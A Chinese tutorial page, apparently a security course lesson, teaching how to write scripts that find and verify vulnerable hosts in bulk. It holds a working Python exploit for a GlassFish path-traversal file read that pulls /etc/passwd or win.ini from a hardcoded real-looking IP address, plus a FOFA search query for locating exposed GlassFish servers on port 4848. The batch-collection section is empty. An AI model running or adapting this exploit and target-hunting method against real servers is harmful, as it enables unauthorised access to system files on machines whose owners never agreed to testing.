本课知识点:
  • Request爬虫技术,lxml数据提取,异常处理,fofa等使用说明
学习目的:
  • 掌握利用公开或0day漏洞进行批量化的收集及验证脚本开发

案例1:某漏洞POC验证脚本

漏洞学习:
验证脚本:
# Author:Zhengna

import requests

def glassfish_vcheck(url):

    payload_linux = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
    payload_windows = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/Windows/win.ini"

    data_linux = requests.get(url+payload_linux) #获取请求后的返回源代码
    data_windows = requests.get(url+payload_windows) #获取请求后的返回源代码

    statuscode_linux = data_linux.status_code    #获取请求后的返回状态码
    statuscode_windows = data_windows .status_code   #获取请求后的返回状态码

    if statuscode_linux == 200:
        print("glassfish任意文件读取漏洞存在")
        print(data_linux.text)
    elif statuscode_windows == 200:
        print("glassfish任意文件读取漏洞存在")
        print(data_windows.text)
    else:
        print("glassfish任意文件读取漏洞不存在")

if __name__ == '__main__':
    #可以进入fofa网址,搜索app="glassfish" && port="4848",找到可能存在漏洞的网站。
    url = "http://3.0.49.154:4848"
    glassfish_vcheck(url)

    #连接异常可参考解决方法:https://blog.csdn.net/a1007720052/article/details/83383220
glassfish任意文件读取漏洞POC

案例2:Fofa搜索结果批量采集脚本

1.手动采集
  • 进入fofa网址(https://fofa.so/),搜索"glassfish" && port="4848",找到可能存在漏洞的网站。
2.批量采集

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-11-01
  • 2022-03-08
  • 2021-04-13
  • 2021-08-12
  • 2021-08-03
  • 2021-07-16
猜你喜欢
  • 2022-12-23
  • 2021-11-22
  • 2021-06-05
  • 2021-06-27
  • 2021-08-23
  • 2022-03-08
  • 2021-04-28
相关资源
相似解决方案